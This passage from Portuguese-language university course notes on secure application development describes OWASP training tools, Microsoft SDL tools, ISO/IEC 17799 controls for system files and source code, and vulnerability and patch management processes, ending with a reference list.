Guia de teste de software para segurana;
Ferramenta WebGoat
29
, que uma aplicao Web gratuita e de cdigo aberto, escrita
em Java e deliberadamente construda com vrias vulnerabilidades. A interface de
WebGoat mostrada na Figura 15, e a ferramenta pode ser baixada e instalada na
Intranet de uma organizao e usada para ensino e aprendizagem de tcnicas de ata-
que e defesa, por meio da explorao e reparo de vulnerabilidades como:
Cross-site Scripting (XSS);
Vulnerabilidades no controle de acesso;
Vulnerabilidades na segurana de threads;
Manipulao de campos de formulrio escondidos;
Manipulao de parmetros HTTP;
Manipulao de cookies de sesso fracos;
SQL injection;
Autenticao com falhas; e
Comentrios HTML.
28 Ver o stio do CERT em http://www.cert.org/secure-coding/.
29 Ver pgina http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project
33
Figura 15: Pgina do WebGoat contendo orientaes sobre como hackear a prpria aplicao.
Ferramenta WebScarab
30
, cuja interface apresentada na Figura 16, e que consiste
basicamente em um Proxy, que se coloca como intermedirio entre um servidor web
e um navegador web. Ao se interpor entre ambos, captura e manipula pedidos e res-
postas no protocolo http, permitindo a anlise do comportamento de aplicaes web
e a preparao de ataques a uma aplicao.
30 Ver mais detalhes sobre o WebScarab em http://www.owasp.org/index.php/Category:OWASP_
WebScarab_Project
34
Figura 16: Interface do proxy WebScarab, mostrando detalhes de pedidos e respostas HTTP, alm da estru-
tura do stio analisado.
Uma boa parte dos materiais desenvolvidos pela OWASP feito para apoiar a execuo
de treinamentos.
5.3.3 Codifcao segura na Microsoft
No mbito do SDL a Microsoft oferece vrias ferramentas gratuitas para apoio codifca-
o segura em sua plataforma, bem como outras que suportam fases anteriores e posteriores
do ciclo de desenvolvimento. Algumas dessas ferramentas so:
Threat Modeling Tool
31
, ferramenta usada no desenho de arquiteturas seguras, inde-
pendente de plataforma, e com interface amena ao uso por leigos;
Code Analysis for C/C++, usada para anlise esttica de cdigo nas linguagens C e C++;
Microsoft Code Analysis Tool .NET, para analisar aplicaes web do framework .NET e
detectar possveis vulnerabilidades a ataques de injeo e XSS, entre outros;
Biblioteca anti-XSS, para evitar ataques de Cross-Site Scripting.
5.4 A segurana de aplicaes na gesto da segurana da
informao
De forma mais abrangente que as abordagens SDL e OWASP, anteriormente descritas, a
norma ISO/IEC 17799:2005 apresenta, em sua seo 12, uma lista de recomendaes de pr-
ticas relacionadas segurana na aquisio, desenvolvimento e manuteno de sistemas de
informao. A maioria dessas recomendaes relacionada com a busca por software seguro.
Dois desses aspectos so abordados no restante desse texto: a segurana dos arquivos do sis-
tema e a gesto de vulnerabilidades tcnicas.
31 Veja um vdeo de demonstrao da ferramenta de modelagem de ameaas da Microsoft em
http://www.microsoft.com/security/sdl/video/VideoPlayer.aspx?t=SDL+Threat+Modeling+To
ol.
35
6. Segurana dos Arquivos do Sistema
O funcionamento de um sistema computacional predominantemente defnido pelo sof-
tware e demais arquivos de dados que nele residem. Os outros fatores determinantes so as
entradas de dados efetuadas pelos usurios e atravs de redes de computadores. Sendo os ar-
quivos to importantes para a manuteno do correto funcionamento dos computadores, torna-
-se clara a necessidade de proteg-los. De acordo com a ISO/IEC 17799:2005, deve-se garantir a
segurana dos arquivos de sistema. Sobretudo, deve-se ter uma forma de controle de acessos
(Fernandes, 2010b) aos arquivos do sistema e aos cdigos fontes dos software nele executados.
Um conjunto de diretrizes com procedimentos para a instalao de software e dados em
ambiente operacional so apresentados na ISO/IEC 17799, dentre essas tem-se que:
a atualizao do software operacional, de aplicativos e de bibliotecas de programas deve
ser executada somente por administradores treinados e com autorizao gerencial;
sistemas operacionais somente contenham cdigo executvel e aprovado. No de-
vem conter software em desenvolvimento;
sistemas operacionais e aplicativos somente sejam implementados aps testes ex-
tensivos e bem-sucedidos;
um sistema de controle de confgurao seja utilizado para manter controle da imple-
mentao do software assim como da documentao do sistema;
uma estratgia de retorno s condies anteriores seja disponibilizada antes que mu-
danas sejam implementadas no sistema;
um registro de auditoria seja mantido para todas as atualizaes das bibliotecas dos
programas operacionais;
verses anteriores dos softwares aplicativos sejam mantidas como medida de contingncia;
verses antigas de software sejam arquivadas, junto com todas as informaes e par-
metros requeridos, procedimentos, detalhes de confguraes e software de suporte
durante um prazo igual ao prazo de reteno dos dados.
6.1 Proteo dos dados para teste de sistema
O ambiente de teste deve ser planejado com o intuito de garantir que os dados de testes
sejam selecionados com cuidado, devendo-se evitar o uso de bancos de dados operacionais que
contenham informaes de natureza pessoal ou qualquer outra informao considerada sen-
svel. Caso seja utilizado esse tipo de informao, os detalhes e contedo sensvel devem ser
removidos ou modifcados de forma a evitar reconhecimento antes do seu uso (ISO/IEC 17799).
Um conjunto de diretrizes apresentado para a proteo de dados em ambiente de teste,
dentre esses tem-se (ISO/IEC 17799):
os procedimentos de controle de acesso, implementados nos aplicativos de sistema
em ambiente operacional, sejam tambm aplicados aos aplicativos de sistema em
ambiente de teste;
seja obtida autorizao cada vez que for utilizada uma cpia da informao operacio-
nal para uso de um aplicativo em teste;
a informao operacional seja apagada do aplicativo em teste imediatamente aps
completar o teste;
a cpia e o uso de informao operacional sejam registrados de forma a prover uma
trilha para auditoria.
36
6.2 Controle de acesso ao cdigo-fonte de programa
importante o controle de acesso ao cdigo-fonte dos programas e dos itens associados
(como desenhos, especifcaes, planos de verifcao e de validao), com a fnalidade de pre-
venir a introduo de funcionalidade no autorizada e para evitar mudanas no intencionais.
Para os cdigos-fonte de programas, esse controle pode ser obtido com a guarda centralizada
do cdigo, de preferncia utilizando bibliotecas de programa-fonte.
Algumas diretrizes de orientaes para o controle de acesso s bibliotecas de programa-
-fonte, com a fnalidade de reduzir o risco de corrupo de programas de computador so
apresentadas na ISO/IEC 17799, dentre essas tem-se:
evitar manter as bibliotecas de programa-fonte no mesmo ambiente dos sistemas
operacionais;
seja implementado o controle do cdigo-fonte de programa e das bibliotecas de pro-
grama-fonte, conforme procedimentos estabelecidos;
o pessoal de suporte no tenha acesso irrestrito s bibliotecas de programa-fonte;
a atualizao das bibliotecas de programa-fonte e itens associados e a entrega de
fontes de programas a programadores seja apenas efetuada aps o recebimento da
autorizao pertinente;
as listagens dos programas sejam mantidas em um ambiente seguro;
seja mantido um registro de auditoria de todos os acessos ao cdigo-fonte de programa.
A profsso de TI mais comumente associada com a proteo e guarda de arquivos so os
gerentes de confgurao de sistemas. Veja, por exemplo, a defnio da disciplina de gerncia
de confgurao em IEEE Computer Society (2004).
37
7. Gesto de Vulnerabilidades Tcnicas
Uma vulnerabilidade uma fraqueza que pode ser explorada no sistema, enquanto que
o patch a resposta a uma vulnerabilidade. O patch tende a eliminar uma ou mais vulnerabi-
lidades (White 2006).
Segundo Schneier (2000), o ciclo de vida de uma vulnerabilidade composto por cinco
fases distintas (Figura 17). A Fase 1 ocorre antes da vulnerabilidade ser descoberta. Nessa fase
a vulnerabilidade existe, mas ainda no foi explorada. A Fase 2 ocorre depois da vulnerabilida-
de ser descoberta, mas antes de ela ser divulgada. Nesse momento algumas pessoas sabem
que a vulnerabilidade existe, mas ainda no sabem como elimin-la. Durante essa fase, no-
tcias sobre a vulnerabilidade podem ser divulgadas. A Fase 3 ocorre aps a vulnerabilidade
ser anunciada. Nessa fase o risco aumenta bastante, uma vez que mais pessoas conhecem a
vulnerabilidade e, sabendo quem a tem, podem explor-la. Na fase 4 a explorao da vulnera-
bilidade automatizada por meio de ferramentas de ataque. Essas ferramentas so divulgadas
e o risco de ataque cresce exponencialmente. Finalmente o fabricante emite um patch para a
vulnerabilidade, e comea a Fase 5, a partir das quais os administradores de sistemas instalam
os patches, reduzindo o risco global de explorao da vulnerabilidade.
Figura 17: ciclo de vida de uma Vulnerabilidade. Fonte: adaptado de Schneier (2000).
O tempo de cada fase pode variar, dependendo do caso e a Figura 17 apenas uma re-
presentao abstrata do ciclo. O fabricante pode liberar um patch rapidamente, mudando os
tempos do ciclo de vida, assim como outros eventos podem ocorrer durante o ciclo de vida da
vulnerabilidade.
Para solucionar o problema de vulnerabilidades, os fabricantes do software lanam os pa-
tches. Porm os prprios patches podem trazer problemas, tais como os citados por Navajas
(2009): quantidade excessiva de patches para distribuir e testar; processo complexo de apli-
cao dos patches ; difculdades na obteno dos patches; patches que introduzem comporta-
mento instvel no sistema.
38
7.1 Procedimentos para a Gesto de Vulnerabilidade
Gerenciamento de Vulnerabilidade o processo de identifcar, monitorar e responder
vulnerabilidade (White, 2006). Segundo a ISO/IEC 17799:2005, a gesto de vulnerabilidades
tem como objetivo reduzir sistematicamente os riscos resultantes da explorao de vulnerabi-
lidades tcnicas conhecidas.
A ISO/IEC 17799:2005 apresenta um conjunto de diretrizes para uma efetiva gesto de
vulnerabilidade, tais como:
que a organizao deve defnir e estabelecer as funes e responsabilidades associa-
das gesto de vulnerabilidades tcnicas, incluindo o monitoramento de vulnerabili-
dades, a anlise/avaliao de riscos de vulnerabilidades, patches, o acompanhamento
dos ativos e qualquer coordenao de responsabilidades requerida;
que os recursos de informao a serem usados para identifcar vulnerabilidades tc-
nicas relevantes e para manter a conscientizao sobre eles sejam identifcados, para
softwares e outras tecnologias;
que seja defnido um prazo junto aos fornecedores e aos administradores de sistemas
para a reao s notifcaes de potenciais vulnerabilidades tcnicas relevantes;
que uma vez que uma vulnerabilidade tcnica potencial tenha sido identifcada, con-
vm que a organizao avalie os riscos associados e as aes a serem tomadas; tais
aes podem requerer o uso de patches nos sistemas vulnerveis e/ou a aplicao de
outros controles;
que dependendo da urgncia exigida para tratar uma vulnerabilidade tcnica, con-
vm que a ao tomada esteja de acordo com os controles relacionados com a gesto
de mudanas ou que sejam seguidos os procedimentos de resposta a incidentes de
segurana da informao;
que se um patch for disponibilizado, convm que sejam avaliados os riscos associados
sua instalao ;
que patches sejam testados e avaliados antes de serem instalados, para assegurar a
efetividade e no tragam efeitos que no possam ser tolerados. Quando no exis-
tir a disponibilidade de um patch, convm considerar o uso de outros controles, tais
como: a desativao de servios ou potencialidades relacionadas vulnerabilidade; o
aumento da conscientizao sobre a vulnerabilidade;
que seja mantido um registro de auditoria de todos os procedimentos realizados na
gesto de vulnerabilidades;
que com a fnalidade de assegurar a efccia e a efcincia, convm que seja monitora-
do e avaliado regularmente o processo de gesto de vulnerabilidades tcnicas;
que sejam abordados em primeiro lugar os sistemas com altos riscos.
Empresas que desenvolvem software tm seus prprios processos de gerenciamento de
patchs, dentre esses destacam-se: o Processo de Gerenciamento de Atualizaes da Microsoft
(Microsoft, 2007), o da Ecora (Carpenter 2009) e o da Computer Associates -- CA (Cadden 2007).
Os dois primeiros so brevemente descritos a seguir.
7.2 Processo de Gerenciamento de Atualizaes da
Microsoft
Visando uniformizar o processo de aplicao de patches e reduzir a conotao negativa do
termo patch, que signifca remendo, bem como tambm visando integrar processos de geren-
ciamento de confgurao, de mudanas, de releases, e mesmo de monitoramento, a Microsoft
passou a adotar nos ltimos anos o termo Update Management (Gerenciamento de Atualiza-
es). O processo de Gerenciamento de Atualizaes da Microsoft, tambm preparado para ser
empregado em organizaes que desenvolvem e mantm sistemas para plataforma Windows,
39
um sofsticado processo de gerenciamento baseado em quarto etapas, apresentadas na Fi-
gura 18 (Microsoft, 2007), que so:
1. Analisar: anlise dos ativos do ambiente de produo, ameaas e vulnerabilidades e
se a organizao tem condies para responder s atualizaes;
2. Identifcar: defnir novas atualizaes de software de maneira confvel, determinar as
importantes para o ambiente de produo e se so mudanas normais ou de emer-
gncia. Nessa etapa existe um conjunto de prioridades para serem identifcadas;
3. Avaliar e Planejar: tomada de deciso sobre a distribuio da atualizao, teste da
atualizao em ambiente semelhante ao de produo so realizados para anlise de
impacto em sistemas crticos para o negcio da empresa;
4. Implementar. Nessa fase so implementadas as atualizaes aprovadas na fase anterior.
Figura 18: Modelo de Gerenciamento de Atualizaes da Microsoft. Fonte: (Microsoft, 2007).
Na vida real, o processo de gerenciamento de atualizaes ofertado pela Microsoft aos seus
clientes bem mais complexo, e pode ser estudado em detalhes a partir do endereo http://te-
chnet.microsoft.com/en-us/updatemanagement/default. No stio h recursos e modelos de ge-
renciamento de atualizaes orientados para organizaes de pequeno, mdio e grande porte.
40
7.3 Gerenciamento de Patch Ecora
A Ecora trata o gerenciamento de patch no como evento, mas sim como um processo
que tem um ciclo de vida, como apresentado na Figura 19. As seis etapas desse processo so
(CARPENTER, 2009):
1. Descobrir: descobrir os ativos da rede e sua categorizao;
2. Analisar: determinao dos patches a serem distribudos e defnio da poltica bas;
3. Pesquisar e testar: descobrir os patches ausentes. Anlise dos riscos dos patches au-
sentes;
4. Remediar: remediar as vulnerabilidades encontradas com a atualizao dos sistemas.
Distribuio dos patche;
5. Rede de Segurana: est relacionada com a capacidade de desinstalao de um pa-
tch, caso seja necessrio;
6. Relatar: Verifcao da implementao dos patches.
Figura 19: Ciclo de Vida de Gerenciamento de Patch da Ecora. Fonte: (Carpenter, 2009).
Navajas (2009) faz uma reviso bibliogrfca acerca de Gerenciamento de Atualizaes
(patches), propondo um resumo das melhores prticas que podem ser aplicveis a organiza-
es pblicas.
41
8 Concluses
Esse texto apresentou, de forma introdutria, um substancial conjunto de aspectos rela-
cionados ao desenvolvimento de aplicaes computacionais robustas e seguras, que resistem
a ataques de hackers e usurios maliciosos, especialmente queles presentes no ambiente In-
ternet/Web. A partir do conceito de software e seu processo de desenvolvimento, demonstra-
-se que os problemas de segurana em software, especialmente o software web, constituem-se
em grande fator de risco aos sistemas de informao das organizaes. O texto demonstra que
so insufcientes o nvel de conhecimento atual do plantel de desenvolvedores de software
que temos no mercado, bem como os processos de desenvolvimento de software pr-existen-
tes nas organizaes produtoras de software. Mostra-se necessrio melhorar os processos de
software existentes, por meio de introduo de prticas como as propostas pelo OWASP e pela
Microsoft. Esses processos visam, inclusive, introduzir tcnicas de codifcao segura, essen-
ciais robustez dos sistemas. Por fm, o texto aborda elementos complementares da norma
ISO/IEC, relacionados com aplicaes seguras, e que devem ser observados, sobretudo, pelos
gerentes de sistemas.
42
Referncias Bibliogrficas
BASTOS, Leandro Rito. Incluso de Segurana no Processo de Desenvolvimento de Apli-
caes web: um estudo de cenrio e possibilidades no Banco Central do Brasil.
Monografa do curso de Especializao em Cincia da Computao: Gesto da
Segurana da Informao e Comunicaes. (2010). Universidade de Braslia.
BRAZ, Fabricio. Segurana de Aplicaes. Especializao em Cincia da Computao:
Gesto da Segurana da Informao e Comunicaes. Universidade de Braslia,
2008.
CADDEN, Raymond Cadden. A Best Practice Approach to Implementing a Proactive Patch
Management Strategy (2007). Disponvel em: http://www.ca.com/fles/whitepa-
pers/patch_mgmt_wp.pdf. ltimo Acesso em Janeiro de 2011.
CARPENTER, Scott. Patch Management for the Real World
A Managers Guide. (2009) Disponvel em: http://www.ecora.com/ecora/whitepa-
pers/register/IDRS_patchManagement.asp. ltimo Acesso em Janeiro de 2011.
CHRISTEY, Steve .Top 25 Most Dangerous Software Errors. Disponvel em http://cwe.mitre.
org/top25/. ltimo Acesso em Dezembro de 2010.
DHS - Department of Homeland Security. Security in the Software Lifecycle. 2006. Dispo-
nvel em: https://buildsecurityin.us-cert.gov. Acessado em: novembro/2010.
FERNANDES, Jorge H. C. GSIC050: Sistemas, Informao e Comunicao. Notas de aula
do CEGSIC 2009-2011. Braslia: Departamento de Cincia da Computao do Ins-
tituto de Cincias Exatas da Universidade de Braslia. 51pp. Maio de 2010.
FERNANDES, Jorge H. C. GSIC211: Controle de Acessos. Notas de aula do CEGSIC 2009-
2011. Braslia: Departamento de Cincia da Computao do Instituto de Cincias
Exatas da Universidade de Braslia. 32pp. Maio de 2010.
HIBERNATE. Relational Persistence for Java and .NET .Disponvel em: http://www.hiberna-
te.org/ . ltimo Acesso em Janeiro de 2011.
HOWARD, Michael e LIPNER, Steve. The Security Development Lifecycle SDL: A Process
for Developing Demonstrably More Secure Software. EUA: Microsoft Press. 2006.
ISO/IEC. ISO/IEC 17799 Tecnologia da Informao Tcnicas de Segurana Cdigo de
Prtica para a Gesto de Segurana da Informao. Segunda Edio, 2005.
JUNIOR, Armando Gonalves da Sila. Cross-Site Scripting: Uma Anlise Prtica. Mono-
grafa do Curso de Bacharelado em Cincia da Computao (2009). Universidade
Federal de Pernambuco.
LIPNER, Steve e HOWARD, Michael. O ciclo de vida do desenvolvimento da segurana de
computao confvel. 2005. Disponvel em: http://msdn.microsoft.com/pt-br/
library/ms995349.aspx . litmo acesso em Janeiro de 2011.
MICROSOFT. Microsoft Security Development Lifecycle: Web-Site. Disponvel http://
www.microsoft.com/security/sdl/. ltimo acesso em Janeiro de 2011.
MICROSOFT. Introduction to Update Management Process. 2007. Disponvel: http://te-
chnet.microsoft.com/en-us/library/cc700845.aspx. ltimo acesso em Janeiro de
2011.
NAVAJAS, Renato. Uma Proposta de Gerenciamento de Atualizaes de Segurana
(patches). Monografa do curso de Especializao em Cincia da Computao:
Gesto da Segurana da Informao e Comunicaes. (2010). Universidade de
Braslia.
OWASP. OWASP Top 10: The Ten Most Critical Web Application Security Risk. 2010. Dispo-
nvel em: http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project.
ltimo acesso em janeiro de 2011.
43
OWASP. CLASP Project. Disponvel em: http://www.owasp.org/index.php/
Category:OWASP_CLASP_Project. ltimo acesso em janeiro de 2011.
OSVDB. Disponvel em: http://osvdb.org/. ltimo Acesso em Janeiro de 2011.
ORACLE. Enterprise JavaBeans Technology. Disponvel em: http://www.oracle.com/tech-
network/java/index-jsp-140203.html. ltimo Acesso em Janeiro de 2011.
PAIVA, Alan e MEDEIROS, Indiana Belianka Kosloski. Uma abordagem de caso de inte-
grao entre os processos de Tratamento de Incidentes de Segurana Computa-
cionais e Desenvolvimento de Software. Monografa de especializao. Braslia:
Departamento de Cincia da Computao da Universidade de Braslia. 2008.
PRESSMAN, Roger S. Engenharia de Software. Sexta Edio. So Paulo; MacGraw-Hill.
2006.
SANS. SANS 2009: The Top Cyber Security Risks. Disponvel em: http://www.sans.org/top-
-cyber-security-risks/. ltimo acesso em Janeiro de 2011.
SCHNEIER, Bruce. Full Disclosure and the Window of Exposure. Crypto-Gram Newslet-
ter. Disponvel em: http://www.schneier.com/crypto-gram-0009.html#1. ltimo
Acesso em Janeiro de 2011.
SCOTT, Kendall. Processo Unifcado Explicado. So Paulo: Bookman. 2003.
SOMMERVILLE, Ian. Engenharia de Software. So Paulo: Pearson Addison Wesley. Sexta
Edio. 2005.
STAIR, Ralph; REYNOLDS, George. Princpios de Sistemas de Informao. Editora: cenga-
ge Learning. Sexta Edio 2006.
IEEE Computer Society. Guide to the Software Engineering Body of Knowledge (SWE-
BOK). Disponvel: www.swebok.org. ltimo Acesso em Janeiro de 2011.
WHITE, S. D. D. Limiting Vulnerability Exposure through efective Patch Management: thre-
at mitigation through vulnerability remediation. Dissertao de mestrado do de-
partamento de Cincia da COmputao da Rhodes University. Disponvel: http://
singe.za.net/masters/thesis/Dominic%20White%20-%20MSc%20-%20Patch%20
Management.pdf. ltimo acesso em Janeiro de 2011.

Seguranca Desenvolvimento Aplicacoes

Uploaded by

Document Information

Original Title

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Seguranca Desenvolvimento Aplicacoes

Uploaded by

Copyright:

Available Formats

>> Gesto da Segurana da Informao e Comunicaes >> 2009-2011

Maristela Terto de Holanda

You might also like